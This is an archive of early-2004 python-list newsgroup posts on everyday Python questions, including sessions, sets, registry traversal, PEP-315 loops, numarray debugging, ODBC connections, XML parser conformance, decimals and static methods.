DH <no at sp.am> wrote in message news:<ufOdnUCfSsA0EKbd4p2dnA at comcast.com>...
> You want session cookies stored as temp files instead of in a database.
> 
> To do it with Quixote see the session persistence section here and the 
> session_demo.cgi file included with Quixote:
> http://www.mems-exchange.org/software/quixote/doc/session-mgmt.html
> 
> Spyce is a little more like ASP & PHP, see this doc, esp. the auto- 
> session handling part, which can work with or without cookies:
> http://spyce.sourceforge.net/doc-mod_session.html

Hi DH,
  I am looking at Quixote and Spyce. Both are very nice and fit my needs.

Thanks,
John.


From rmkrauter at yahoo.com  Wed Feb 11 16:10:52 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Wed, 11 Feb 2004 13:10:52 -0800 (PST)
Subject: sets and subsets
Message-ID: <20040211211052.52986.qmail@web40108.mail.yahoo.com>

# requires 2.3
>>> import sets
>>> a = [1,2,3,4,5]
>>> c = [2,4]
>>> b = list(sets.Set(a)-sets.Set(c))
>>> b
[1,3,5]

or

>>> for i in a:

Rich



__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From mmalater at nycap.rr.com  Sun Feb 15 15:38:04 2004
From: mmalater at nycap.rr.com (Mathieu Malaterre)
Date: Sun, 15 Feb 2004 20:38:04 GMT
Subject: Simple addition
In-Reply-To: <4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
Message-ID: <MMQXb.58980$n62.7867@twister.nyroc.rr.com>

Brian wrote:

> Mathieu Malaterre wrote:
> 
>> $python
>>  >>464.73+279.78
>> 744.50999999999999
>>
>> weird isn't it ? I use python2.3.
> 
> 
> Mathieu, you can find a full explanation of what you're seeing at the 
> following documentation link: 
> http://www.python.org/doc/current/tut/node15.html

Thanks a bunch Brian !


From john_taylor_1973 at yahoo.com  Mon Feb  9 00:12:57 2004
From: john_taylor_1973 at yahoo.com (John Taylor)
Date: 8 Feb 2004 21:12:57 -0800
Subject: recursivly traversing the windows registry
Message-ID: <fc30bff.0402082112.33376cce@posting.google.com>

I want to visit each windows registry entry (or at least a large
number of them) and lookup the value for each entry.  I want to take a
snapshot of registry entries before and after I install software or
make changes to the system and see what changes were made to it.

My code works some of the time, but other times it does not return any
data for some paths/keys when it appears to have data according to the
regedit.exe program, on Windows XP and Python 2.3. Would someone mind
looking at my code to see what I am doing wrong?

http://www.fcs.uga.edu/~john/reg.py.txt

Thanks,
John Taylor


From wfolta at netmail.to  Mon Feb 16 21:21:57 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Mon, 16 Feb 2004 21:21:57 -0500
Subject: PEP-315 ("do" loop)
Message-ID: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>

Two observations about PEP-315:

1. It's clever, addresses a definite "wart",  and is syntactically 
similar to try/except. But it's syntax seems like an acquired taste to 
me.

2. It is a very general construct, which might be what is called for. 
But I wonder if most of the time it would be used to accomplish 
something like:

while 1:
     line = sys.stdin.readline()
     if line == "\n":
         break

In a neater way? How about, instead, creating an "until" loop:

until line == "\n":
     line = sys.stdin.readline()

Would be defined to work exactly like a while loop except the test is 
not evaluated the first time through the loop. Wouldn't this be akin to 
checking at the end of the loop, while maintaining a more while-ish 
syntax?

Is this at all useful or is something of the order of PEP-315 the way 
to go?
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From __peter__ at web.de  Fri Feb 27 13:35:52 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 27 Feb 2004 19:35:52 +0100
Subject: Problem with mixing doctest with gettext _()
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
	<c1ns58$kti$03$1@news.t-online.com>
	<s7L%b.18214$Mo4.612706@news20.bellglobal.com>
	<MvL%b.20343$253.1307828@news20.bellglobal.com>
Message-ID: <c1o2m9$orh$00$1@news.t-online.com>

Pierre Rouleau wrote:

> It worked, BUT only for a simple function, it fails if I add a another
> simple function:

Haven't read your post completely, but judging from the error message, it's
just a minor glitch in mydisplayhook(). Try the following instead:


>>> def mydisplayhook(a):
...     if a is not None:
...             sys.stdout.write("%r\n" % (a,))
...

That should be able to cope with tuples as commandline results.

Peter


From dbentley at stanford.edu  Tue Feb  3 19:20:10 2004
From: dbentley at stanford.edu (Daniel Danger Bentley)
Date: Tue, 3 Feb 2004 16:20:10 -0800
Subject: time-out
Message-ID: <bvpdrr$as5$1@news.Stanford.EDU>

Hi,

I'm writing a grading script for a class.  Essentially, I wish to iterate
through all the submissions, run them, and grab the output.  HOWEVER, some
of them loop forever, and I want the grading run to (mostly) complete.

So I guess my questions are these:
A) How do I timeout on a read?
B) failing that, how do I have multiple threads and each run wihtout running
into problems with having too many open files?
C) failing that, how do I pause or somehow add handling code so that I don't
clobber everything.

At the moment I have:

while 1:
    try:
        (foo, bar, err) = popen2.popen3('cmd')
    except Exception:
        pass

BUT that leaves me with open files.  But if I try to free them, I get
unbound variable errors.  Surely this has been done before, but I don't see
the (one) obvious way.

Thanks,
Dan




From jcosby at nospam.net  Mon Feb 23 16:11:39 2004
From: jcosby at nospam.net (Jon Cosby)
Date: Mon, 23 Feb 2004 21:11:39 GMT
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
Message-ID: <f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>

"Peter Hansen" <peter at engcorp.com> wrote

> > I'm having trouble executing Python scripts in IIS. I have the error
message
> > "%1 is not a valid Win32 application". Anyone know what this is about?
>
> Somewhere, something is attempting to execute an application with an
> argument that contains "%1", which is normally substituted with a
> variable string supplied by something else.  Clearly that isn't happening
> here.
>
> Without more detail, I doubt anyone can help much more.  Maybe you should
> post some snippets of code.  Also, if the error message actually includes
> more information (e.g. such as a Python traceback would have), cut and
paste
> the entire output rather than just retyping a part of it (if that's what
you
> did).
>
> -Peter

I get the same line with all of my scripts, nothing else.

Jon




From noemail at noemail4u.com  Mon Feb  2 08:05:11 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 02 Feb 2004 13:05:11 GMT
Subject: easiest transition for a PHP website to move to Python?
References: <mailman.1023.1075441969.12720.python-list@python.org>
	<6ee58e07.0401300555.12c07aa3@posting.google.com>
	<bvdvr6$96h$05$1@news.t-online.com>
	<6ee58e07.0401301702.42c759f8@posting.google.com>
Message-ID: <b6101cb47be16121be56796e45efd5d1@news.teranews.com>

On 30 Jan 2004 17:02:30 -0800, llothar at web.de (Lothar Scholz) wrote:

...
>http://zope-is-evil-666.idyll.org/
>http://www.amk.ca/python/writing/why-not-zope.html
>http://pywx.idyll.org/advocacy/why-not-zope.html 

I don't know Zope, so feel free to ignore my point, but those articles
are nearly 4 years old.  While there might be other reasons, I
wouldn't think old postings necessarily reflect the current version.
    --dang


From ptmcg at users.sourceforge.net  Sun Feb 15 21:01:49 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Mon, 16 Feb 2004 02:01:49 GMT
Subject: Generating and printing a range of ip addresses
References: <mailman.26.1076744175.31398.python-list@python.org>
Message-ID: <hwVXb.8380$M76.3919@fe2.texas.rr.com>

"Stephen Briley" <sdb1031 at yahoo.com> wrote in message
news:mailman.26.1076744175.31398.python-list at python.org...
> Hi all,
>
> I would like to write a python script that takes input
> of 2 ip address, one a start address and the other the
> end address and prints a list of all ip address in
> between  in dotted-decimal format.  I've attempted to
> use the ipv4 module
> (http://pynms.sourceforge.net/ipv4.html) ,but I am
> unable to get past this error  "AttributeError: 'str'
> object has no attribute '_address".
>
> Can any suggest a solution to this problem? Is there a
> better way than using the ipv4 module?
>
> Thanks,
>
> Steve
>
Here's a generator function that works with two strings containing valid IP
addresses.
(Note: no error checking, such as verifying that endAddr > startAddr,
endAddr < 255.255.255.255, etc.)

def ipAddrRange(startAddr, endAddr):
    def incrAddr(addrList):
        addrList[3] += 1
        for i in (3,2,1):
            if addrList[i] == 256:
                addrList[i] = 0
                addrList[i-1] += 1

    def asString(addrList):
        return ".".join(map(str,addrList))

    startAddrList = map(int,startAddr.split("."))
    endAddrList = map(int,endAddr.split("."))

    curAddrList = startAddrList[:]
    yield asString(curAddrList)
    for i in range(4):
        while curAddrList[i] < endAddrList[i]:
            incrAddr(curAddrList)
            yield asString(curAddrList)

for addr in ipAddrRange("10.255.255.250","11.0.0.20"):
    print addr




From marco at bubke.de  Tue Feb 24 12:34:09 2004
From: marco at bubke.de (Marco Bubke)
Date: Tue, 24 Feb 2004 18:34:09 +0100
Subject: numarray bug or my?
References: <c1dtvc$m53$1@graf.cs.uni-magdeburg.de>
	<pan.2004.02.23.23.01.37.704171@NOTTHISBIT.webone.com.au>
	<c1fnq1$skp$1@graf.cs.uni-magdeburg.de>
Message-ID: <c1g1ui$5fb$1@graf.cs.uni-magdeburg.de>

Marco Bubke wrote:

> Simon Burton wrote:
> 
>> On Mon, 23 Feb 2004 23:14:03 +0100, Marco Bubke wrote:
>> 
>> ...
>>> Ok, its in Pyrex and has a bug in
>>> flat_view = array_to_int(viewport),
>>> but I don't know why. If I change the code to flat_view =
>>> array_to_double(viewport) its runnig without glitches. I really dont
>>> understand it.
>>> 
>>> Thx
>>> 
>>> Marco
>> 
>> Yes, me too. I wasn't sure if NA_InputArray was supposed
>> to be able to handle type conversions, so I used the python
>> method:
>> 
>> array = array.astype(numarray.Int32)
>> 
>> and then used NA_InputArray on that.
>> 
>> Simon.
> 
> Ok, Than I do that, I get everytime a Segmentation fault. Before it was
> only from time to time. An its 100% NA_InputArray. If I erease
> NA_updateDataPtr before NA_InputArray I get a amok process.
> 
> cdef NumArray array_to_float(NumArray array):
>   # maybe here is memoty leak!
>   cdef NumArray flat_array
>   cdef NumArray new_array
>   print 'mark 1'
>   new_array = array.astype('Float32')
>   print new_array
>   print 'mark 2'
>   new_array = NA_updateDataPtr(new_array)
>   print 'mark 3'
>   NA_IoArray(new_array, tFloat32, NUM_C_ARRAY)
>   print 'mark 4'
>   flat_array = NA_updateDataPtr(flat_array)
>   print 'mark 5'
>   return flat_array


Ok, I have it tracked down to 

static PyArrayObject*
NA_InputArray(PyObject *a, NumarrayType t, int requires)
{
  printf("enter input\n");
  PyArrayObject *wa = NULL;
  if (NA_isPythonScalar(a)) {
    if (t == tAny) 
      t = NA_NumarrayType(a);
    if (t < 0) goto _exit;
    wa = NA_vNewArray( NULL, t, 0, NULL);
    if (!wa) goto _exit;
    if (NA_setFromPythonScalar(wa, 0, a) < 0) {
      Py_DECREF(wa);
      wa = NULL;
    }
    goto _exit;
  } else if ((wa = sequenceAsArray(a, &t))) {
    printf("input 1\n");
    if (!satisfies(wa, requires, t)) {
      printf("input 2\n");  
      PyArrayObject *wa2 = getArray(wa, t, "astype");
      printf("input 3\n");       
      Py_DECREF(wa);
      printf("input 4\n");  
      wa = wa2;
    }
    printf("input 5\n");  
    NA_updateDataPtr(wa);
  }
  _exit:
  printf("leave input\n");
  return wa;
}

static PyArrayObject *
NA_updateDataPtr(PyArrayObject *me)
{
  printf("enter update\n");
  if (!me) return me;
  printf("update 1\n");
  if (getReadBufferDataPtr (me->_data, (void **) &me->data) < 0) {
      printf("update 2\n");
    return (PyArrayObject *) PyErr_Format(_Error, 
        "NA_updateDataPtr: error getting read buffer data ptr");
  }

      printf("update 3\n");
  if (isBufferWriteable( me->_data ))
    me->flags |= WRITABLE;
  else
    me->flags &= ~WRITABLE;
  printf("leave update\n");
  return me;
}

static int 
getReadBufferDataPtr(PyObject *buffobj, void **buff) 
{
  printf("enter read buffer");
  int rval = -1;
  PyObject *buff2;
    printf("read buffer 1");
  if ((buff2 = getBuffer(buffobj))) {
      printf("read buffer 2");
    if (buff2->ob_type->tp_as_buffer->bf_getreadbuffer)
          printf("read buffer 3");
      rval = buff2->ob_type->tp_as_buffer->bf_getreadbuffer(buff2, 
                  0, buff);   <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
        printf("read buffer 4");
    Py_DECREF(buff2);
  }
  printf("leave read buffer");
  return rval;
}

The Segmentation fault is happen between "read buffer 3" and "read buffer
4". But this a little bit to much Python inside for me. Maybe the .data
isn't right?

regards

Marco


From nick at hugin.webthing.com  Mon Feb 23 11:05:12 2004
From: nick at hugin.webthing.com (Nick Kew)
Date: Mon, 23 Feb 2004 16:05:12 +0000
Subject: Database connection pooling with mod_python
Message-ID: <oukpg1-vr1.ln1@webthing.com>

Apache supports persistent dynamically-resizable N:M database connection
pooling via simple third-party modules such as mod_pg_pool[1],
mod_mysql_pool[1] and mod_dbi_pool[2].

We have a mod_python-based project that would benefit from similar
functionality.  Is it possible to hook into the above, or obtain
similar functionality, from mod_python?

[1] http://apache.webthing.com/
[2] http://mod-auth.sourceforge.net/

-- 
Nick Kew


From guido at python.org  Mon Feb  9 10:14:16 2004
From: guido at python.org (Guido van Rossum)
Date: Mon, 09 Feb 2004 07:14:16 -0800
Subject: OSCON Reminder: proposal deadline *** TODAY ***
Message-ID: <200402091514.i19FEGI24753@c-24-5-183-134.client.comcast.net>

This is the FINAL reminder: you still have all day today to submit a
proposal for the Python 12 Conference at OSCON:

The O'Reilly Open Source Convention (OSCON) will be held July 26-30,
2004 at the Portland Marriott Downtown in Portland, OR.
http://conferences.oreillynet.com/os2004/

Proposals Submission Information--Deadline: February 9, 2004
http://conferences.oreillynet.com/cs/os2004/create/e_sess

--Guido van Rossum (home page: http://www.python.org/~guido/)



From pinard at iro.umontreal.ca  Thu Feb 19 21:26:14 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Thu, 19 Feb 2004 21:26:14 -0500
Subject: Why import only at module level?
In-Reply-To: <40354FB8.3DBE73E0@engcorp.com>
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
	<4034D771.9AE85ECB@engcorp.com>
	<mailman.80.1077217602.27104.python-list@python.org>
	<40353FC2.2A0C604A@engcorp.com>
	<mailman.87.1077234174.27104.python-list@python.org>
	<40354FB8.3DBE73E0@engcorp.com>
Message-ID: <20040220022614.GA7268@alcyon.progiciels-bpi.ca>

[Peter Hansen]

> When I analyze coupling, I consider the links to have both strength 
> and quantity.  Generally a reduction in quantity is just as useful
> as a reduction in strength of coupling, IME.

This sounds all quite reasonable! :-)

> Unfortunately you lost me with the example. [...] (I trust you had a
> valid point but I missed it, sorry.)

Thanks for the confidence! :-) Let me not insist with the example, as
I'm not trying to make a point here :-). As long as we agree to seek for
aesthetic programs, the methods and tastes of the various artists may
differ, and the diversity is one more source of interest.  Keep happy!

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From andy at reportlab.com  Wed Feb  4 20:22:16 2004
From: andy at reportlab.com (Andy Robinson)
Date: Thu, 05 Feb 2004 01:22:16 +0000
Subject: configuring ODBC DSN with a python script
References: <d3be1825.0402041109.4ee4a88d@posting.google.com>
Message-ID: <3g632090q1946tpia00hsuaa63km675cvi@4ax.com>

On 4 Feb 2004 11:09:52 -0800, jani at persian.com (Jani Yusef) wrote:

>I am building an application which, unfortunately, *must* use an
>access db. The users will have the relevane mdb file installed on
>their system. As part of the installer. Now, the part I am stuck on is
>how do I configure the ODBC dsn without having the user open up the
>ODBC control panel which will in all honestly just scare and confuse
>them. ;)
>Has anyone approached this problem before? What did you do?
>Thanks!!

Most drivers let you pass this in at runtime by building a string with
a number of key/value parameters.  With Access, the magic one
is Dbq which refers to the file name.  This works for me....

>>> import mx.ODBC.Windows
>>> dc = mx.ODBC.Windows.DriverConnect
>>> conn = dc("Driver={Microsoft Access Driver
(*.mdb)};Dbq=c:\\mydir\\myfile.mdb;Uid=Admin;Pwd=
;")
>>> cur = conn.cursor()
>>> cur.execute('select count(*) from Codes')
>>> cur.fetchall()
[(1144,)]
>>>


- Andy Robinson

p.s. Steve Holden tipped me of


From uche at ogbuji.net  Wed Feb 11 01:44:10 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 10 Feb 2004 22:44:10 -0800
Subject: package similar to XML::Simple
References: <bv80qq$kbg$1@sunnews.cern.ch>
	<mailman.904.1075287732.12720.python-list@python.org>
	<d116fbae.0402092332.22936b0@posting.google.com>
	<40290854.15BB5CF0@engcorp.com> <c0bc8v$ibu$01$1@news.t-online.com>
Message-ID: <d116fbae.0402102244.53cab375@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c0bc8v$ibu$01$1 at news.t-online.com>...
> Peter Hansen wrote:
> > Hmm... so it's your opinion that *all* XML parsers must handle *all*
> > aspects of XML?  If not, I think you should back off on the criticism
> > of PyRXP as being "not an XML parser" and simply point out that it
> > doesn't handle all aspects of XML because it is intended to provide
> > a very fast/heavily optimized approach to parsing only certain kinds
> > of XML.
> 
> I am not Uche, but I think that all XML parsers should conform to the
> XML recommendation (and treat deviations from the XML recommendation
> as bugs).
> 
> This is not the same as handling all aspects of XML, since the XML
> recommendation makes certain aspects optional. Processing character
> references is not one of them (but e.g. validation is).
> 
> > It's a valid choice to do so, though of course if PyRXP is
> > promoted as a "full" XML solution that might be inaccurate.
> 
> Packages may help processing only selected XML documents, and they
> may also support documents which are not XML. However, in neither
> case, they should call themselves "XML parsers". "XML-like parsers"
> or "XML subset parsers" might be more appriate.

I wouldn't argue with calling PyRXP an "XML-like parser".

Because until very recently I thought that PyRXP was an XML parser, I
was extremely taken aback when I ran afoul of PyRXP's brazen character
non-conformance.  As an example of the danger in this non-conformance,
PyRXP refused to parse the very first well-formed XML document I gave
it.  And I'm (mostly) a native English speaker.  True XML parsers
strive for interoperability for a reason.  Not doing so pretty much
negates the value of XML.

I was even more taken aback to read that the PyRXP developers refused
to make the simple fix needed for conformance.  I think it is
essential to point out that a tool that refuses XML conformance cannot
go about calling itself an XML parser.


--Uche
http://uche.ogbuji.net


From steve at ninereeds.fsnet.co.uk  Thu Feb  5 20:51:08 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Fri, 06 Feb 2004 01:51:08 +0000
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<bvtjb4$gic$1@panix2.panix.com>
Message-ID: <qeq520pv7kbd1s3ojmn3idetjuljhtk5md@4ax.com>

On 5 Feb 2004 09:18:12 -0500, aahz at pythoncraft.com (Aahz) wrote:

>In article <ad052e5c.0401310101.1c5bd5aa at posting.google.com>,
>Dan Bishop <danb_83 at yahoo.com> wrote:
>>
>>For money, it means that I have *exactly* $1.80.  This is because
>>"dollars" are just a notational convention for large numbers of cents.
>> I can just as accuately say that have an (integer) 180 cents, and
>>indeed, that's exactly the way it would be stored in my financial
>>institution's database.  (I know because I used to work there.)  So
>>all you really need here is "int".  But I do agree with the idea of
>>having a class to hide the decimal/integer conversion from the user.
>
>Really.  What kind of financial institution was this?  They didn't need
>to deal with any form of fractional pennies?

Does it really matter if they did? They may not deal in whole pennies,
but I seriously doubt that they need infinite precision - integers
with a predefined scaling factor (ie fixed point arithmetic) will, I
suspect, handle those few jobs that counting in pennies can't.

For instance, while certainly exchange rates involve fractional
amounts (specified to a fixed number of places), the converted amounts
will be rounded as account balances are recorded to the nearest penny,
unless I'm very badly mistaken. The same applies to interest - the
results get rounded before the balance is affected.

So if the exchange rate is 1.83779 dollars to the uk pound, who can't
cope with the following code?

  exchange_rate = 183779

  result = pounds * exchange_rate / 100000

Assuming that rounding matches the programming languages default
behaviour, of course, and that the width of the integers is
sufficient.


That said, as I understand it, a lot of financial institutions have a
lot of COBOL code. And from what I remember of programming in COBOL,
the typical representation of numbers in both files and working
storage uses decimal digits stored in a character string - at least
that's what the picture strings specify in the source code. Given that
the compiler knows the precision of every number, and assuming that
there is no conversion to a more convenient representation internally,
it shouldn't make much difference whether the number has a point or
not.


Personally, I wouldn't want to contradict Dan Bishops claims - he has
the experience in a financial institution, not me - but I suspect
there is a fair amount of code used in many financial institutions
that does in fact use a decimal representation, if only because of old
COBOL code.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From anton at vredegoor.doge.nl  Wed Feb 25 10:02:54 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Wed, 25 Feb 2004 16:02:54 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<403b84f8$0$134$3a628fcd@reader1.nntp.hccnet.nl>
	<slrnc3oo9a.pob.apardon@trout.vub.ac.be>
Message-ID: <403cb950$0$12844$3a628fcd@reader1.nntp.hccnet.nl>

Antoon Pardon <apardon at forel.vub.ac.be> wrote:

>I don't see much difference between a function changing a higher up
>variable that is global or just in between.

If you want a function with its own namespace, that is already
possible as you showed yourself in an earlier post. On the other hand,
if a function has its own namespace what is the difference between a
function and a class? Why not use a class in the first place?

Remember that "global" is just a way for a function to tell the
interpreter that this variable belongs to the global namespace. 

There is some inconsistency if one has a function inside a function
and that function has a global 'x' but the outer function doesn't have
a global 'x'. Modifications of 'x' from the deepest function do not
reach the global namespace, in fact they do not even reach the
namespace of the containing function.

Only if both functions have a global 'x' the name is visible at the
global and intermediate level. 

However there is already a mechanism to solve these kind of problems:
namespaces! Why not use them?

>>   a,b = A.a,A.b
>
>Well maybe my wording was off, but this doesn't accomplisch what I
>want since after your statement followed by: a = new_value; A.a will
>not be changed.

For that to work you'd have to imbue names with new magical powers.
They would have to have some way of knowing who their fellow holders
are with whom they share their objects and inform them about their new
responsibilities.

The fellow objects would need some instructions as to how to handle
such things. Should they hold on to their previous bindings or let go
and use the new objects? Maybe some automatic message passing between
objects "behind the covers" would be necessary. Maybe it's a great
idea or maybe we would get hit over the head with a stick. I don't
know.

By the way, would it then be really, really black magic to be able to
call an object by its *real* name and force all holders to obey? One
ring to rule them all!

... much, much, later ...

Message from your Atoned Governor.

Ok, after finally having relinquished the ring of power and freely
dropping it into the crater, I would like to make a public
announcement. 

It is a really bad idea to indiscriminately rip the structure and
inner cohesion and the "whole is more than the sum of the parts"
quality of existing cooperations of objects apart in order to gain
access to a little trinket, and from now on I will desist from such
actions until there is a way to replace the lost objects with
functionality that is the same or better, according to the judgement
of said cooperations, in order not to disrupt working ecosystems. 

Anton


From John at the.computer  Fri Feb  6 21:40:33 2004
From: John at the.computer (John)
Date: Sat, 07 Feb 2004 02:40:33 GMT
Subject: Beginning programmer question - How to print a list in a different
	format
Message-ID: <MPG.1a8e19663001709b989680@news-server.columbus.rr.com>

Hi.

I have a dictionary thus: (wraps)

p1hand = 
{'b12':b12,'d12':d12,'d23':d23,'n12':n12,'n23':n23,'n34':n34,'p12':p12,'
p23':p23,'p34':p34,'p45':p45}

I set a variable called p1handlist so that I can print a list of the 
keys to the screen:

p1handlist = p1hand.keys()
print p1handlist

and the output looks like this:

['b12', 'd12', 'd23', 'n12', 'n23', 'n34', 'p12', 'p23', 'p34', 'p45']

how can I make it so that the output looks more like this?:

b12, d12, d23, n12, n23, n34, p12, p23, p34, p45

This is for a simple text mode game I am writing and the output to the 
screen is important because at times the list gets too big to print on 
one line of the display.

Thanks!

John





From wmwd2zz02 at sneakemail.com  Sun Feb 22 20:56:48 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Mon, 23 Feb 2004 14:56:48 +1300
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
In-Reply-To: <40368BF3.2FE82B1A@engcorp.com>
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
Message-ID: <c1bml2$1h2f64$1@ID-169208.news.uni-berlin.de>

Peter Hansen wrote:
> All right, machine language!  Was that with actual toggle input, or 
> were you hand-translating from assembly and entering hex on a keypad?
> I remember being able to write small print routines on the Commodores
> in straight machine language... hmm..  A9 80 20 FF D2 40 anyone? :-)

Or how about

    08 C4 08 35 C4 00 31

...a sequence that is forever burned into my brain, being what
almost every program for my first computer began with.

I'll award a virtual chocolate fish to the first person who
can identify the machine!

Bonus points for (a) disassembling it and (b) explaining
its purpose.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From guettli at thomas-guettler.de  Thu Feb 19 11:06:59 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Thu, 19 Feb 2004 17:06:59 +0100
Subject: os.popen
References: <c12ea1$ivs$1@solaris.cc.vt.edu> <4034C623.3030206@draigBrady.com>
	<c12k50$rm1$1@solaris.cc.vt.edu>
Message-ID: <pan.2004.02.19.16.06.59.590588@thomas-guettler.de>

Am Thu, 19 Feb 2004 10:18:56 -0500 schrieb Bart Nessux:

> Thank you for that explanation. It makes sense. When you say loop the 
> read do you mean something like this:
> 
> ping = os.popen('sh ./ping.sh')
> while 1:
>     ping.read()
> ping.close()
> 
> I liked the /dev/null examples too as I don't need output from some of 
> the functions. I didn't know I could throw output away like that.

ping.read() will wait until EOF (End of File). You should
call it only once. This means ping.read() will return
as soon as the ping stopped pingging.

I think you can give the number of bytes to read
as an argument.

 thomas


From feb04.20.netman at spamgourmet.com  Sat Feb 28 06:33:54 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 11:33:54 GMT
Subject: Type emulation issues with new style classes
Message-ID: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>

Is there any way to make the class Z behave the same way as class Y?

Chris

class Y:
    value = 42
    def __hasattr__(self, name):
        if name == '__int__':
            return True
    def __getattr__(self, name):
        if name == '__int__':
            return lambda: self.value

class Z(object):
    value = 42
    def __hasattr__(self, name):
        if name == '__int__':
            return True
    def __getattr__(self, name):
        if name == '__int__':
            return lambda: self.value

>>> y, z = Y(), Z()
>>> print int(y)
42
>>> print int(z)
TypeError: int() argument must be a string or a number




From paul at prescod.net  Wed Feb 18 08:50:45 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 05:50:45 -0800
Subject: PEP-315 ("do" loop)
In-Reply-To: <10341ha7te8bpb8@news.supernews.com>
References: <mailman.55.1076984559.31398.python-list@python.org>
	<10341ha7te8bpb8@news.supernews.com>
Message-ID: <40336DB5.50401@prescod.net>

John Roth wrote:

> 1. The proposed syntax breaks Python's indentation scheme in a manner that
> try-except, for-else, while-else, and if-elif-else do not.

How so?

> 2. What I find more serious is that there are a huge number of ways to go in
> "improving" the basic while loop, none of which seem to be a natural
> stopping point. Python's philosophy seems to be to find the "sweet spot"
> where you gain the most leverage with the minimum amount of mechanism.
> Neither PEP-315 nor any of the "improvements" I've seen do that.

Could you enumerate some of these? To me, there is only one big flaw of 
the while loop: y forcing you to do the test at the top it also forces 
you to contort your code by duplicating the setup line. Sometimes 
testing at the bottom or in the middle is just the most natural thing. 
"break" caters to it but has its own issues (hiding hte loop condition, 
double-indenting the exit point, etc.).

I've also heard some complain that "while True" is confusing.

I don't know what other ways of "improving" the loop you're referring to.

  Paul Prescod





From jacek.generowicz at cern.ch  Thu Feb 26 02:40:36 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 08:40:36 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<c1iuj5$7q3$1@panix1.panix.com>
Message-ID: <tyfoermmgp7.fsf@pcepsft001.cern.ch>

aahz at pythoncraft.com (Aahz) writes:

> In article <tyfwu6bmfhx.fsf at pcepsft001.cern.ch>,
> Jacek Generowicz  <jacek.generowicz at cern.ch> wrote:
> >
> >Sure. I have some stateful methods of classes (which I create
> >dynamically and stick onto the class as the information about the
> >existence of the method becomes available). By implementing them as
> >closures I can just stick them on to the class. If I were to implement
> >them as instances then I'd have to reimplement all the descriptors
> >that take care of turning functions into bound or unbound methods.
> 
> Why not use callable instances?

Errrrr ...

Reading the paragraph you quoted and trying to understand it is left
as an exercise to you. (Hint: it's the last sentence.)


From mwh at python.net  Tue Feb 24 07:38:27 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 24 Feb 2004 12:38:27 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
Message-ID: <m3ad38hcu4.fsf@pc150.maths.bris.ac.uk>

PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) writes:

> Hi
> 
> I don't have to talk about the beauty of Python and its clear and
> readable syntax... but there are a few things that striked me while
> learning Python.
> 
> I have collected those thoughts. I am sure there are many discussions
> on the "problems" mentioned here. But I had this thoughts without
> looking into any forums or anything... it is kind of feedback.
> 
> Thanks for this marvellous language,
> Marco
> 
> 
> 
> *** Problem: clumsy static class methods
> 
> In order to create a static method we have to use a the builtin
> staticmethod(function):
> 
> class C (object):
>     def f(arg1, arg2, ...): ...
>     f = staticmethod(f)

See PEP 318 (and current discussion on python-dev).

> Why? The speciality of a "static" method is: It has no access to any
> instance vars. The following class is easier to read and understand
> what a static method is about... as a positive side-effect: self is
> not available and it can't be used!
> 
> class c (object):
>     def staticMethod(arg1, arg2, ...):
>         # self is not handed in... hence I can't use the instance vars
>         pass
>     def normalMethod(self, arg1, arg2, ...):
>         pass
> 
> There is no need for the builtin... as I understand it: the builtin is
> a workaround...

What's so special about self?  I really don't like the idea of
argument names keying this kind of change in behaviour.

> *** Problem: clumsy properties for classes
> 
> property( [fget[, fset[, fdel[, doc]]]]) 
> 
> class C(object):
>     def getx(self): return self.__x
